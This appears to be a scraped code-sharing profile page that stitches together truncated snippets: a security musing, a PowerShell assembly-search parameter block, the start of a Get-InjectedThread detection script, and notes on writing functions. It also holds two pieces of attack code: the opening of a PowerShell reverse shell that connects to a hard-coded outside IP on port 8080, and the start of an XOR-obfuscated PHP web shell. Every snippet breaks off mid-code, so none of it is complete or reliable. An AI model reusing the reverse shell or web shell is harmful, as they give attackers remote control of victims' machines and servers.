Kiel Wadner kwadner

These two statements contradict at first glance but are accurate. There is a difference in attitude and behavior between responding and reacting.

The castle analogy does not hold up well, however we spend more time looking inside the castle walls then outside.

	Param([parameter(Mandatory=$true,
	HelpMessage="Directory to search for .NET Assemblies in.")]
	$Directory,
	[parameter(Mandatory=$false,
	HelpMessage="Whether or not to search recursively.")]
	[switch]$Recurse = $false,
	[parameter(Mandatory=$false,
	HelpMessage="Whether or not to include DLLs in the search.")]
	[switch]$DLLs = $false,
	[parameter(Mandatory=$false,

	function Get-InjectedThread
	{
	<#

	.SYNOPSIS

	Looks for threads that were created as a result of code injection.

	.DESCRIPTION

	# DO: Define all your functions at the top of your script file.
	# DO: Use descriptive names for your functions
	# DO: Provide a comment block describing what your function does
	# DO: Document what is 'returned' from your function




	# 1. Why do we need functions/ what are we trying to solve?
	# 2. What is a function?

	$socket = new-object System.Net.Sockets.TcpClient('52.234.133.119', 8080);
	if($socket -eq $null){exit 1}
	$stream = $socket.GetStream();
	$writer = new-object System.IO.StreamWriter($stream);
	$buffer = new-object System.Byte[] 1024;
	$encoding = new-object System.Text.AsciiEncoding;
	do
	{
	$writer.Flush();
	$read = $null;

	<?php
	$key_part_one = "5f4d";
	$key_part_two = "cc3b";

	/* This function is used to obfuscate the raw bytes of the request and the
	response for the web shell. It operates as an XOR function on each byte.
	The XOR key is the concat of the two key parts at the top of the script.
	*/
	function xor_obfuscation($data_bytes, $key)
	{